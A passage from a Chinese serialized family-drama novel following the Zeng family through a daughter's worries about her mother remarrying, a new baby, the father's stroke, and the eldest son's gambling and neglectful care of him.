曾舒月和梁如茵接触不多,并不了解梁如茵,这会听听,她没多发表意见,“李阿姨,不如您今天在我家吃饭吧?” “不了不了,临时临头的,家里人没看到我回去,会着急的。改天再来。”李丹丹看时间不早,提出要回去。 曾舒月送李阿姨下楼,“那您改天来玩,带着小康一起,我很久没给你们做饭吃了。” “好好好,我们一定来。你有空也可以来坐坐,我们还住原来地方。不过明年就不一定了,家属院拆迁,要搬更远地方去。”李阿姨看了又看曾舒月,她是打心眼里满意。 曾舒月和李阿姨挥挥手,此时楼上的曾玉玲在和何胜男八卦,“胜男,那个奶奶一直强调他儿子,是不是要给你妈介绍对象?” “我妈现在不会结婚的。”何胜男很笃定地道。 “你怎么知道?”曾玉玲不想写作业,所以话特别多,“是你不让二姑再婚吗?” 何胜男摇头说没有,“我妈自己说的,在我上大学之前,她绝对不会再婚,只会专心照顾我。” 在她妈妈离婚后,外公外婆就想给妈妈介绍对象,有一次还被她碰见,然后妈妈就和她保证,让她放心读书,绝对不会再婚影响她。 “啊,可我听李奶奶的儿子条件蛮好的。其实这点我支持我妈说的,二姑也长得漂亮,趁着自己还有点姿色,找个有钱人当依靠。不然以后你去读大学,又结婚生孩子,岂不是就剩下二姑一个人?”曾玉玲刚说完,听到外边传来开门声,赶忙捂住嘴,小声道,“我们继续写作业。” 这个话可不敢被二姑听到,她怕二姑生气。 但何胜男却记在心里了,如果她去外地读书,又有自己家庭,那她妈妈呢? 何胜男本就有超出这个年纪的成熟,因为这个困惑,在接下来的月考里,第一次考了第三名。 而曾玉玲以为是自己影响了表妹读书,在往后的日子里,不敢拉着表妹闲聊,只能硬着头皮跟着读书,就算是开小差都不敢发出声响,倒是让她自己成绩提高不少。 六月初,高考放假时,曾舒月带着两个孩子回娘家看爸妈。 王娟看着女儿的成绩单,实打实地笑了,“我早就说了嘛,让你跟着胜男一块学习。你看看,你这成绩都进步了四十九名,都有希望上一本了。爸妈你们看,我们玉玲也有出息了!” 在亲妈看不到的地方,曾玉玲翻了个白眼,小声和表妹吐槽,“之前不让我找你的也是她,现在说好的也是她,她可真能说,黑的白的都是她在说。” 何胜男在想别的事,没听到表姐说的话,“不好意思,你刚刚说什么?” 曾玉玲重复了一边刚才的话,“胜男,你在想什么?” “没什么,可能是最近没睡好,我去厨房看看有没有要帮忙的。”何胜男怕表姐看出什么,起身去了厨房,看到正在吃西瓜的三姨,“三姨,三姨夫不是不让你吃西瓜吗?” “我就吃两口,别和你三姨夫说。”曾舒仪的孕期血糖有点偏高,但她又馋西瓜,所以到厨房偷吃两口。 擦了擦嘴,她问外甥女,“怎么样,看不出来我偷吃了吧?” 何胜男笑着摇摇头。 “那就好,不然你三姨夫又要念叨了。”曾舒仪看厨房没其他人,接着道,“胜男,你是不是有心事?” “没有的。” “别骗我了,咱们家人的性格,我都了解。要不要和三姨说说,你最近在烦恼什么?”曾舒仪立马补充,“我不和你妈妈说。” “嗯……”何胜男确实需要一个解惑的人,而她三姨其实是她最好的选择,“最近我妈妈和一个李奶奶走得比较近,我感觉,李奶奶想把她儿子介绍给我妈妈。” 曾舒仪得知周盛离婚了,倒是不意外,“你不想你妈妈再婚吗?” “说实话,我不知道。”何胜男困扰的就是这个,“这几年,都是我和我妈一起生活,我感觉我的生活只有她,她的生活里也只有我。如果说突然有其他人加入我们的生活,我感觉一时间很难适应。但是……” 她顿住了,她感觉到自己的自私在和良心撕扯,“但是表姐说,如果以后我离开榕城,去别的城市读书,或者等我组建家庭后,我妈妈怎么办?” 她会带着妈妈一起生活,但她想的是,她的身边出现了丈夫和孩子,她能分给妈妈的精力又有多少? “所以到现在,你还想不到一个答案,是吗?”曾舒仪看到外甥女点头,抱住了她,“你妈说过,在你读大学前不会再婚,那她就一定不会。至于以后的事,你妈妈为你做那么多,我相信你也会尊重她的选择。胜男,你妈妈这辈子都为你而活,你也要允许她有为自己而活的时候。” “你是个好孩子,她也是个好妈妈。别想那么多了,忧思会成伤,你现在要想的,只有怎么读书。以后的事,以后再来考虑,不要贷款焦虑,知道吗?” “嗯嗯。”何胜男突然笑了下,“三姨,你肚子顶到我了。” 曾舒仪十月底的预产期,这会已经肚子挺大的,她哈哈笑着松开外甥女,“你觉得三姨这次,是儿子还是女儿?” “我觉得会是个妹妹,但我妈和外婆都说是儿子,他们说你又爱吃酸的。”何胜男道。 “酸儿辣女没有科学依据,要是儿子,我就给你妈他们养,我才不想要两个儿子。”曾舒仪带着外甥女到客厅。 每个月里,曾家人都会聚一次,现在少了个曾向平,气氛要和谐不少。 等吃完饭,曾舒仪两口子准备开车回去,王娟喊住他们。 “舒仪啊,你慢点嘛,你肚子都那么大了,怎么还走那么快?”王娟笑眯眯地凑过来,“陈澈,你现在公司挺大的了吧?” 陈澈看了媳妇一眼,随后道,“还在上升期,没有很厉害。” “怎么会呢,我都看你上报纸了,杰出企业家。”王娟特意找过来,是有事找他们帮忙,“舒仪你看,你大哥还有两年才出来。明年玉玲考上大学,得花一大笔钱,你看啊,你和陈澈的公司都那么厉害,帮我找个工作呗?” “我也不用当经理那些,随便找个活少、工资还不错的岗位就可以,这对你们来说很简单。” 确实不难,但曾舒仪不乐意。 “大嫂,在创立公司时,我和磊哥约定了,不能用我们的亲戚。”这点是真的,不然他们都有七大姑八大姨,到时候一个个塞到公司里,还不会干实事,到时候只会拖累公司。 “那陈澈你呢?你公司总有我能干的吧?”王娟看向陈澈。 曾舒仪帮忙道,“陈澈公司也是一样的,之前向民不是把你介绍给他朋友那,你怎么不干了?” “哎,我刚刚都忍住没抱怨。”王娟皱紧眉头,“向民介绍的什么工作都不知道,他朋友让我去跑业务,你说我都快四十的人了,怎么跑业务?” 跑了一天,她腰酸腿痛,后来转到后勤,结果因为偷偷拿东西回家被开除了。不过这事,她不敢和曾舒仪他们说,“我说舒仪,你就是不想帮我吧?” 陈澈说没有,“大嫂,确实是公司规定,招人的事有专门的人事,我们就算是老板也插手不了。” “屁嘞,当老板都管不了,那你还当什么老板?”王娟才不信曾舒仪夫妇说的鬼话,“我说舒仪,就算以前我们有点争吵,但还是一家人吧,你不能看着我没工作,玉玲跟着我喝西北风啊?” “玉玲现在住二姐家,她要是能考上大学,我给她出学费。你就不用担心她会喝西北风了。”曾舒仪深吸一口气,“还有,我就是不想帮你。” 她微微挑起一边眉头,“你想不干事就拿钱,我们公司不养害虫。大嫂,我劝你踏实点吧。”如果大嫂本性不错,她会帮这个忙,但她了解大嫂,到时候进了公司,占着和她是亲戚,八成要作威作福。 第58章 “曾舒仪, 你还是不是曾家人?”王娟气得跳脚,“你……你这样做,对得起老曾家养你一场吗?” “养我的是我爸妈, 又不是你。”曾舒仪对她大嫂的这些无理取闹,早就免疫了,“大嫂,少折腾一些事吧。你看看向民和二姐现在都过得还可以,再看看你们家, 这是为什么呢?” 王娟理所当然地道, “那还不是因为你只帮扶他们两个,从不考虑我和那个大哥的死活!你要是帮我们一下,也不至于到今天这个地步!” 看到别人越来越好,她把自己的不幸归结于是别人的原因, 特别是现在差距越来越大,王娟的心里更不平衡。 曾舒仪看着眼前不可理喻的大嫂,不再过多辩解, 而是挽着陈澈朝车走去。 上车后,陈澈迟疑地看了眼爱人。 “我和你创业都不容易, 不能让一粒老鼠屎害了一锅汤。我大嫂这个人,你也看出是什么性格,她不会是个认真做事的人。反正饿不死她就行。”曾舒仪心累地说完。 “其实你大哥大嫂还蛮般配的。”陈澈道。 “还是你会说话, 确实般配,茶壶配茶盖,天生一对了。”曾舒仪说起了和外甥女的谈话, “小姑娘正是心思敏感的时候,容易多想,改天我还是得问问二姐的想法。” 陈澈却对何胜男比较放心, “胜男有这种想法也正常,她和二姐互相陪伴,现在她还小,但二姐身边出现其他人,她肯定会觉得失落。但这种感觉,很快就会没了,因为胜男是爱二姐的。倒是玉玲,你知道她和我打听什么吗?” “什么?” “出国的事。”陈澈一边开车,一边道,“她问我什么样的情况可以出国,要什么条件。我看啊,她是动了这个心思了。” “怎么突然想出国?”曾舒仪没听侄女说过,也没听家里其他人谈起出国的事。 这两年,曾舒仪身边倒是有一些人出国了,但不是合法出国,而是偷渡出去。 王朝阳就是其中一个。 本来王朝阳家鱼丸生意干得还不错,也在榕城买了房子和铺面,但两年前,王朝阳突然找到曾舒仪要卖房。 那会儿曾舒仪以为王朝阳有什么难处,想着可以帮帮王朝阳,但王朝阳坚持卖房,她就买了下来。 后来从王朝阳他哥口中才知道,王朝阳带着老婆孩子偷渡到了欧洲,撇下家里老父老母不管了。那会王家人对王朝阳怨气很大,王朝阳两口子不照顾两个老的,只能轮到他们来照顾。 当时曾庆良也骂王朝阳不孝顺,脑子坏掉了才偷渡出国,外边能有什么好。 不过后来,随着第一个偷渡的人拿到身份,开始给家里寄钱,陆陆续续又有很多人偷渡。 但王朝阳就再没消息,没有给王家送来一封信,更没有寄钱。 现在得知侄女也想出国,曾舒仪眉头轻拧,“我看玉玲今天和大嫂聊不了两句就不耐烦了,他们要是关系好,玉玲不至于住二姐那。” “是啊,如果玉玲出国了,我看八成不会回来。到时候你大哥大嫂真就没有依靠。”陈澈道。 “那也是他们自己造孽,明明自己有亲生孩子,非要去抱养儿子。我要是玉玲,我肯定也伤心。”曾舒仪也长在重男轻女的原生家庭,她知道那种感觉是什么样,“但是现在出国很难吧?” “如果能拿到学位证书,出去读书就还好。但只是移民,确实很难,签证都很难办下来。”陈澈有对接外贸生意,他就要飞欧洲参加国际展览,见识过外国的发达,他能懂那些想偷渡人的心理。 “以后再说吧,要是玉玲真能去国外读书,对她自己也是好事,我只是做姑姑的,手伸不到那么长。”曾舒仪不想了,想再多也没用,大哥家的事,她向来不爱管。 到家后,曾舒仪就去躺着了。 过了两天,李丹丹邀请曾舒月一家上门做客,周康刚高考完,他姐姐周美丽也休假回来。 周美丽看到曾舒月很热情,“曾阿姨,我们好久不见了。” “是啊美丽,你都长成大姑娘了。在部队很辛苦吧,你都黑了好多,这可不行啊,姑娘家要对自己好点,还是要护肤。”曾舒月叨叨地说完,才想到介绍女儿和侄女,“对了,这是胜男和我侄女,她们现在都跟我住,快喊姐姐。” 何胜男腼腆地喊了一声“美丽姐”,曾玉玲胆子大多了,笑呵呵地打完招呼,又问,“美丽姐,你在部队能接触但男兵吗?是不是很多帅哥?” 一句话让周美丽愣了下,随后哈哈笑了起来,“可以接触到,也确实很多硬朗的小伙子,怎么,你也想当兵吗?” “没有没有,我就是好奇问一下。”曾玉玲喜欢看港剧,特别是长得帅的,她买了很多磁带,全都是帅哥明星的。 这时李丹丹过来拍了下孙女,“既然那么多俊小伙,你也该找对象了。你老大不小了,在部队里找一个合适的,再不行,让你爸给你介绍一个军官。” 人越上年纪,越爱操心这些事,李丹丹就特别爱给人牵线搭桥。 周美丽却道,“奶奶,与其说我的事,您不如多劝劝我爸。”她拉着何胜男两个,“走,我带你们上楼看我的模型。” 家里平常没有小姑娘来,她长大后和弟弟聊不了这些,好不容易家里来了两个香香的妹妹,她得和她们多玩玩。而且她也知道奶奶的意思,正好给她爸个机会。 孩子们被带上楼,周盛正好回来,李丹丹赶忙喊儿子坐下喝茶。 周盛这些年老了许多,家里的事、工作又忙,免不得要操心。 许久没看到曾舒月,他感觉曾舒月变化不大,“最近常听我妈提起你,听说胜男也快高考了?” “是啊,时间很快,孩子们都长大了。你们现在可以安心了,两个孩子都大了。”曾舒月道。 李丹丹说不行的,“小康高考结束,还得操心他们姐弟以后结婚的事,结了婚,还有再下一辈。只要生了孩子,就会一辈子替他们着想。” 周盛也叹了口气,“等小康去读大学,家里就剩我妈一个人,她年纪大了还爱出门,有时候我也不放心。” “我有什么不放心的?”李丹丹说自己身体很好,“趁现在能走能跑,就要多出门,不然真到动不了那天,日子就过不了了。舒月啊,你胜男也大了,你没想再找一个伴吗?” “现在没有的,胜男还有一年就要高考。这一年里,我打算好好陪她。我这辈子就盼着胜男能有出息,希望她能考上心仪的大学,做自己想做的事。”女儿就是曾舒月的一切,她这辈子为了托举女儿而活。 这时楼梯上的何胜男,听到这话,鼻头酸涩。 曾玉玲在一旁小声道,“胜男,二姑真爱你啊。我妈也说爱我,但她要我这样那样,从不过问我喜不喜欢,想不想干,但二姑说的是希望你能干自己想干的事。听我妈说,当初二姑为了带你回城,没少吃苦受罪。咦,你怎么哭了,别啊,多尴尬啊!” “我没哭。”何胜男擦了眼泪。 回家后,何胜男找到妈妈,她抱住了妈妈,“妈,其实我能看出来。” “看出来什么?” “李奶奶想撮合你和周叔叔,我没意见的,你希望我快乐,我也想你幸福,只要你喜欢就行。” 曾舒月听懵了,她自己还真没意识到这点,但现在回想起来,李阿姨好像还真有这个意思。 怀里的女儿香香软软的,曾舒月长长地吐了一口气,“傻丫头,我就没那个想法。人周叔叔是我以前的雇主,他们人又不错,我才和他们多来往。你不提这个事,我都没往这方面想。不过你提起来了,我也没这个意思,我现在只想努力让你过上想过的人生。” 不要像她一样,被限制了选择,前半辈子都在被迫生活。 房间里的曾舒月母女温情,门口的曾玉玲羡慕得撇撇嘴,并没有进去打扰。 转眼间到了十月下旬,曾舒仪这天醒来准备洗澡,结果羊水破了。 她已经生过一个孩子,知道马上要生了,赶忙大喊婆婆来帮忙。 于美兰先打了120,再给儿子打电话,“舒月快生了,我不管你在忙什么工作,都给我放下去医院。” 工作再重要,都不如家人重要。钱是挣不完的,但家人需要陪伴,特别是这种时候。 于美兰跟着救护车去医院,她又通知了亲家,等儿子到了后,亲家也到了。 曾庆良还没到跟前,就迫不及待地问,“生了吗,是不是儿子?” 曾向民忍不住调侃,“爸,三姐想要的是女儿,你怎么又想要外孙?” “你们不懂,要是多一个儿子才好。”说着,曾庆良催起小儿子,“倒是你和玉娇,什么时候生二胎?” “诶阿姨,我姐进去多久了?”一听催生,曾向民立马跑到一边岔开话题。 第59章 于美兰太紧张了, 都没听到曾向民说啥。 曾向民没得到答复,也没在意,他紧紧盯着产房的门。 陈澈同样紧张, 一群人在产房门口,大家焦虑地等待。 直到婴儿响亮啼哭,产房大门打开时,陈澈第一个冲过去,“怎么样, 大人孩子都平安吗?” “都平安, 恭喜啊,母女平安。”医生把孩子递过去,“大人还有一会儿出来,你们别发出太大声音。” 陈澈趁着抱着女儿, 其他人挤过来看,粉嘟嘟的小婴儿,特别地可爱。 于美兰伸手抱过去, “给我也抱抱,小澈你去看看舒仪什么时候出来。” 陈澈看得眼睛挪不开, 不过产房门开了,他赶忙跑过去。 曾舒仪生了女儿,她和陈家人都很高兴。女儿长得好, 到了满月时就白白嫩嫩,很讨人喜欢。 又是一年过去,小丫头长得飞快, 已经在蹒跚学步,嘴里“呀呀”地说着含糊不清的字。 而曾玉玲和何胜男也考上大学,何胜男不出意外地考上清华, 曾玉玲则是踩到一本的尾巴,但她偷偷改了志愿,跑到遥远的黑龙江去读书。 女儿们去读书,曾舒月和王娟的日子空闲下来。王娟自己开了个麻将馆,每天都会去,有时候三缺一还上桌顶一下。 曾舒月则是关了店就往曾舒仪这跑。 “二姐,你是不是不想回家?”曾舒仪看着床上熟睡的女儿,轻手轻脚地带着二姐到客厅喝茶,“以前胜男在家,你每天回家可以听到读书声,心里有个寄托。现在你身边最重要的人不在,日子空虚了吧?” “哪有?”曾舒月不承认。 “哪里都有。”曾舒仪道,“你每次过来,都会说胜男小时候也这样,或者不那样。可能你自己都没发现,你的世界只有胜男。现在胜男去读书,没有人需要你帮忙做点什么,日子哪能不空虚。” 她顿了顿,加重语气,“二姐,既然胜男已经考上大学,她以后的路也不需要我们操心了。你就多关心关心自己吧,你想去旅游就去,或者去公园多认识一个朋友,发展一下兴趣爱好。再不济,找个男人玩一玩,不用谈婚论嫁,就谈恋爱消磨时间。” “你……你说什么呢?”曾舒月被说红了脸,不过她最近一个多月,确实是这样。 以前都是和女儿一起回家,想到要给女儿补充营养,她做饭都会换着花样做,还会研究食谱,怎么吃更健康。 但是到了一个人生活时,曾舒月一开始还会认真做饭,后来就是对付着吃,有时候路边随便买两个包子,就是一顿饭。 曾舒仪坐得离姐姐近了点,“我说正经事啊,你又还年轻,谈个恋爱怎么了?咱们不能只为了孩子活,你也得考虑考虑自己的感受啊。之前李阿姨不是想给你介绍周师长,怎么样,还能联系上吗?” “李阿姨没提了。”从曾舒月说过去一年不考虑个人问题,李阿姨就没提这个事了。 “那你可以主动点啊,周师长现在品级高,他的两个孩子又喜欢你,干嘛不试试?”曾舒仪卖力相劝,“人啊,就只活一辈子的。我是心疼你之前只为胜男考虑,二姐,不谈恋爱也可以,你多想想什么事能让你开心?” “等胜男放寒假回家,我就开心了。”曾舒月脱口而出。 “哈哈,那就等着吧。”曾舒仪不说了,等时间再久一点,二姐自然而然会有其他想法。 日子一天天过,年底时曾向平出狱,他想再去开出租车,结果公司不要他,只好跟着王娟一起开麻将馆。 不过他自己上了瘾,每天都在牌桌上打,王娟也管不住他。 到第二年,曾向民第二个女儿出生,曾庆良特别失望,看都没看小孙女一眼,直接从医院回家。 等林家珍回家时,发现曾庆良倒在地上,等送去医院后,才发现时脑出血。 曾舒仪姐弟出钱凑了手术费,曾庆良抢回一条命,但是半边瘫了。 曾舒仪心疼她妈,给请了保姆伺候,结果曾庆良处处不满意,连着赶走两个保姆。 这天第三个保姆要请辞,曾舒仪忍不住开车回家,进门就开始骂人,“你到底要作到什么时候?保姆给你喂饭不吃,非要等我妈来。换衣服要我妈,喝水也要我妈喂,你是半边瘫,又不是全身瘫痪!” 椅子上的曾庆良,愤怒地指着曾舒仪,只是越想说话,越说不清楚,反而呜呜地流了一嘴的口水。 还是林家珍出来,“舒仪,你爸是现在不舒服才这样,等过段时间就好了。” “妈,你别天真了,我爸就是自己难受,看不得你舒服。让他去做康复训练就不,每次不是大喊大叫,就是打人。不康复也行,就让他这样。”曾舒仪刚说完,她大哥大嫂来了。 王娟阴阳怪气道,“我们舒仪还真是孝顺啊,爸都这个样了,你还回来骂人。我们曾家啊,真是欠你的。” “大嫂,那不然你来伺候爸,给他端屎端尿洗衣做饭?”曾舒仪两手环抱在胸前,“想来你那么孝顺,肯定愿意吧?” 再去看妈,曾舒仪笑着道,“妈,既然大嫂那么贴心,你去我家住几天,让大嫂尽尽孝心。” 这一说,王娟立马慌了,她才不想照顾公公,“向平,你说话啊?” 曾向平昨晚打了一晚上麻将,这会困得很,没兴趣参与他们的吵架,摆摆手进了屋,躺下就睡着。 曾舒仪饶有兴致地看着王娟,“大嫂,怎么到你这里就不行了?之前你不是说,大哥是儿子,只有儿子才能继承家业。那现在伺候爸的事,也该轮到你了吧?” “也不能就我和你大哥伺候啊,还有向民,他不也得尽尽心?”王娟赶忙道。 “你说得对,向民是应该尽心照顾爸。那就你们每个人半个月,轮流来吧。”曾舒仪拉着她妈就走。 等上了车,林家珍还在迟疑,“要不算了吧舒仪,我要是跟你走了,你爸怎么办?” “有我大哥大嫂啊,他们会伺候的。”曾舒仪开车去二姐的文具店,“妈,你就让他们伺候几天吧。等我爸知道谁好谁坏,就不会和你作了。不然他每天折磨你,你身体能好?” 到二姐店里,曾舒仪说了家里的事,特意交代,“这半个月,你不要去探望爸,就让大哥大嫂照顾。他们要是敢让爸饿死,我让他们后半辈子都不能好过!” 曾舒月同样担心,“可是舒仪,大嫂能照顾好爸吗?” “那肯定不行,但你看看妈的面色,都没有血色了,再这样下去,妈的身体也跨了。只要大嫂有爸一口饭吃,饿不死就行,省得他再折腾。”曾舒仪同样给弟弟打电话,让弟弟半个月后去接人。 同时她还交代了,不许借钱给大哥大嫂,平常没事不上门,一上门就是要钱。 事实上,曾舒仪猜得没错,曾向平偷了家里的一张存折去赌博,结果全输光了,还欠别人六百块。 王娟心疼得骂人,但是钱没了就没了,思来想去,只好又来公婆这里拿点钱。结果刚进门说两句话,曾舒仪就带着婆婆走了。 王娟把房间柜子都找了一遍,却只找到几十块零钱。看床上的曾向平还在呼呼大睡,直接把铁皮盒子砸了过去。 “砰”的一声,铁皮盒子砸在曾向平脑门上,疼得他大叫地坐起来。 他揉着额头,吼道,“王娟,你想干嘛?” “是我想问你干嘛,曾向平,你还想不想过日子了?”王娟一边哭,一边骂,“好好的一个家,都被你给搅和成什么样了?” 女儿放假不回家,老公偷钱赌钱,她夜里翻来覆去不会睡,头发都白了好些。 “你吵什么吵,我不是在和你过日子吗?”曾向平不爽道,“自己说不过曾舒仪,现在把火撒我身上,你还是个人吗?” “你说我不是人?”王娟憋了一肚子火,钱没找到,还要伺候半边瘫的公公,扑向曾向平打人。 曾向平打了一晚上麻将,加上这些日子天天打麻将,身体虚了很多,被王娟按在地上抓花了脸。 客厅里的曾庆良,听到屋里的争吵声,还有嫌弃他的话,只能“呜呜”流眼泪。 他想去拿桌上的茶壶,结果身子一歪,摔倒在地上。茶壶没拿到,反而翻在地上,弄了一地茶水。 王娟听到客厅动静,怕公公出事,赶忙出来看看,结果看到公公躺在湿哒哒的水中,不懂是茶,还是尿。 她嫌弃地捏着鼻子,“爸,你干什么呢?还嫌家里不够乱是吗?” 王娟回屋让曾向平出来收拾,但曾向平不干,他坐在地上,“要管你管,我才不给他换衣服。” 地上的曾庆良听到这话,眼泪流得更快。 生儿子有什么用?他现在才想到这句话。 王娟更不可能给公公换衣服,把人给扶起来后,没好气地拿来一块抹布擦了擦,“爸,我可不是妈,会那么细心照顾人。不过你想吃啥可以和我说,我做给你吃,你和我说存折在哪好不好?” “不……不知……道……”曾庆良口齿不清。 一听曾庆良说不知道,王娟立马没了笑脸,“行吧,你也和我作对,那你就这样坐着。” 她不管公公衣服裤子还湿着,回屋看到曾向平想拿走刚找到的几十块钱,又和曾向平打了起来。 往后几天,王娟也没给曾庆良换衣服,曾庆良大小便都拉裤子里,王娟闻得头晕,实在没办法了,只能巴巴地去找曾舒月。 第60章 文具店里没有顾客, 王娟笑呵呵地进门,“舒月啊,你这生意不错啊, 难怪你那么忙,都不去看看爸吗?” “大嫂,我相信你对爸的照顾,肯定会把爸照顾得很好。”曾舒月看着账本,头都没抬。 “瞧你这话说的, 就算我再会照顾人, 你们这些做子女的也该去看看不是?”王娟真的受不了公公身上的味道,那个臭味,整个房子都是臭的,扑面而来的骚味, 连对门邻居都受不了。 曾舒月:“大嫂,我知道你来找我干什么,想我替你照顾爸吧?但你别想了, 舒仪和我们都打过招呼了,这半个月, 爸只能靠你们照顾。” 看大嫂皱眉,她又补充道,“还有, 舒仪说了,你们要是让爸怎么样,她就去掀了你的麻将馆。你知道的, 舒仪能做到。” “不是,你们怎么能这样?”王娟的麻将馆没有营业执照,要是曾舒仪去掀桌, 她还不能报警,只能闷声吃亏,“我说舒月啊,你们不能把爸全丢给我们啊,那不是你爸吗?” “是我爸,平常我们也没少管。但我觉得舒仪说得对,爸疼了大哥一辈子,也该大哥尽孝。大嫂,我劝你一句,与其来找我,不如想办法让大哥去伺候爸,反正他现在没工作,你也不想让他一直泡在麻将馆吧?” 对于大哥,曾舒月也看不下去,一个大男人,正经工作不干,一天到晚打麻将,听说已经输了不少钱。没钱就去骗爸妈的,亏他读过大学,一点男人的骨气都没有。 “我能有什么办法?” 说到曾向平,王娟也很无奈,一肚子的怨气,“我打了骂了,也闹了。我甚至把麻将馆关了,但他就去别人那里打麻将,输得更多。舒月你不是我,不知道我的难处,我每天要管麻将馆的生意,还要去给爸洗衣做饭,我也是人,我也会累啊!” 王娟的麻将馆离老曾家不近,坐公交得二十几分钟,还不加等车和走路时间。 她才照顾几天就受不了,心里后悔那天不该过去,就不会被曾舒仪抓到。 曾舒月也觉得大哥荒唐,她想了想,“大嫂,你豁得出去吗?” “你要说什么?” “我大哥现在,比自暴自弃还让人讨厌,不然你和他离婚吧。”曾舒月建议道。 “舒月,不能你自己离婚了,就巴不得别人离婚。我和你大哥再怎么样,那也是结发多年的夫妻,你怎么能让我们离婚呢?”王娟不可理喻地看着曾舒月,“这种话舒仪说就算了,你也来说,你心眼也太坏了!” 曾舒月瞬间无语,她后面的话还没说完,结果就被大嫂说坏心眼。 她一口气上不来,也下不去,全堵在心口,一句话都不想说,干脆关门回家。 没办法,王娟又去了曾向民家里。 这几年,曾向民的运输队干得不错,他买了同一层的两套房子,打通后就是大平层。 曾向民看到大嫂来,不用猜都知道怎么回事,“大嫂,三姐说了,爸的事让你去找她,你找我没用,等时间到了,我立马去接爸。你也别折腾了,好好照顾爸半个月,也是我们应该尽的责任。” “不是向民,你们怎么都听舒仪的?”王娟不理解了。 “因为三姐有道理啊,我们当然听她的。”曾向民看媳妇从房间出来,赶忙使眼色示意别出来,“大嫂,别的你就不用说了,你要留下吃饭可以,但其他的我办不到。你想想我三姐那个人,多厉害啊。” 说完,他回房间去了,看到熟睡的小女儿,拉着媳妇坐下,“别管大嫂,三姐说得对,咱们得让他们吃点苦头。” 林玉娇有点心虚,“我总应该和大嫂打个招呼吧?” “算了,你太好说话,万一被大嫂胡搅蛮缠,答应了她的要求,三姐会气晕了。”曾向民道,“咱们啊,到日子再去接爸就好了。你还要奶孩子呢,万一被气到没奶,咱们女儿吃什么?” “向民,你说咱们真的不生了吗?”林玉娇生小女儿时,身体有点影响,她还能再生,但医生说了很可能会影响健康。 曾向民说得肯定,“当然不生了,咱们又不是没孩子,干嘛冒风险生儿子,没那个必要。爸重男轻女,我又不会,你放宽心,我曾向民说了不生就是不生,堂堂男子汉,一口吐沫吐一颗钉。” 他打定主意不要了,反正继子也和他姓,自己从小带到大的孩子,和他亲儿子一个样。 林玉娇却觉得有点遗憾,不过曾向民能这样说,她心里又甜蜜,感慨自己运气还不错,能在最难的时候遇到曾向民。 而客厅里的王娟,坐了一会儿后自觉没趣,气鼓鼓地去了曾舒仪家里。 曾舒仪早就收到了弟弟的电话,看到大嫂过来,一点都不意外。 “舒仪,你会不会太过分了,爸是我一个人的事吗?”王娟看到曾舒仪就来气,她这几天伺候公公,那叫一个心累。 “确实不是你一个人的,还有我大哥的事。”曾舒仪也听说了大哥打麻将的事,“大嫂,你想不想让大哥戒赌?” “当然啊,但我能有什么办法,他又不听我的。” “只要你够狠心,就能让我大哥害怕。”曾舒仪道,“你去找几个人,给大哥做个局,吓唬他一下就好了。至于我爸的事,你和他说,他要是不伺候,那就一分钱不给他,他去哪里,你就跟着去,闹腾得他什么都干不了。只要他没钱吃饭,又折腾不过你,他至少会听话几天吧。” 王娟没想到还可以这样,“万一被你大哥识破怎么办?” “怕什么,再怎么样,也不会比现在更差。”曾舒仪道,“大嫂,你把对我们不讲道理那股劲去对付我大哥,就没有解决不了的事。以前是他强你弱,现在都反过来了,你还怕他会离开你?” 以前王娟怕曾向平提离婚,是因为她觉得自己配不上曾向平,现在不一样了,是曾向平配不上她。 离开她王娟,谁还会给曾向平好吃好喝? 王娟像是被打通任督二脉,当即跑回去家去,发现曾向平不在家,又去了麻将馆。 不出意外地看到曾向平在麻将桌上,王娟过去掀了麻将桌,“今天我王娟把话放在这里,你们以后谁要和曾向平打麻将,他输了的钱,我一概不认!” “不是王娟,你又和我闹什么?”曾向平不爽地看着王娟。 “曾向平,你能不能像个男人一样。别人家都是男人养家糊口,你倒好,从监狱出来后无所事事,天天就知道打麻将。你知不知道,你爸现在身上多难闻?”王娟不怕丢人,曾舒仪说得对,她再怎么闹腾,曾向平都不会和她离婚,“大家伙还不知道吧,我公公半边瘫,全靠我一个人照顾。我忙活了家里和麻将馆,还要去给老人端屎端尿,曾向平却在这里打麻将,你们说说,他还是个男人吗?” 他们夫妻会吵架,有时候还会砸东西,但还是王娟第一次当着那么多人骂曾向平。 曾向平面子上挂不住,把王娟拉到角落,“你到底想干嘛?” “你去帮爸洗个澡,换一身干净衣服,我就让你打一次麻将。不然你去哪里打麻将,我都跟着你,家里的饭也没你的份。”王娟道。 “王娟,你不要太不讲道理,家里的钱,我也有一份!”曾向平才不想去伺候他爸,光是想想屎啊尿啊的味道,他就想吐。 但王娟是打定主意了,“我呸,就你还好意思说有你一份,从你出狱起,你输了多少钱了?你能不能要点脸,干点正经事呢?” 她气愤地看着曾向平,“我反正把存折和钱都藏起来了,家里的米我也送人了,现在家里什么吃的都没有。你要是不听我的,我就让你不好过。” 曾向平骂了句“不可理喻”,转身去找其他棋牌室,结果他刚进门,王娟就大声嚷嚷,“你们不要和曾向平打麻将,他身上一分钱没有,我也不会给他钱。你们谁要赢了他的钱,就只能让他给你们干活。” 王娟连着吵了三个麻将馆,那些老板觉得影响了生意,也让曾向平别来了。 这天晚上,王娟也说到做到,一口饭不给曾向平吃,饿得曾向平第二天早上就答应去给他爸洗澡。 只是等曾向平到他爸住的房子,门刚打开,早上刚吃的馒头全吐了。 “呕,这是什么味道?”曾向平说着又开始吐。 王娟离得远远的,她捏着鼻子,“你快进去给爸换一身干净衣服,还有,把地板拖了。等你做完,我就给你五块钱。” 她只能用钱来诱惑曾向平,不过这事,花五块钱很值得,因为屋子里真的很臭,感觉地板都被浸了味道。 曾向平忍着臭味进去,看到邋里邋遢的亲爸,眼里都是嫌弃。 他不耐烦地脱了他爸衣服,把人丢到木桶里,直接倒入冷水。 曾庆良这几天吃不好、睡不好,被冷水一泡,打寒颤道,“凉啊……凉向平……” “你怎么废话那么多?”曾向平凶道,“老子给你干这个活都恶心死了,你还啰七八嗦。别乱动,我给你洗完还要去拖地!” “你……你个……不孝子!”曾庆良现在心里万分后悔,林家珍和保姆把他伺候得好好的,吃喝拉撒都舒舒服服,结果他非要闹腾。 他的皮肤被大儿子用刷子刷红了,肚子也很饿,他真的太后悔了!魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-64 第61章 可是再后悔也没用, 曾庆良被粗暴地洗完澡,就被光着丢到床上,头发湿哒哒的, 凭他再难受呼叫,大儿子也不搭理他。 曾向平忙着擦洗地板,只是擦了一遍还是臭,他把那些脏东西装进袋子,到门口全丢了, “好了, 给我钱。” 王娟说还是臭,“你再用洗衣粉搓洗一遍。” “王娟,你当老子是清洁工吗?”曾向平火了,把袋子丢向王娟。 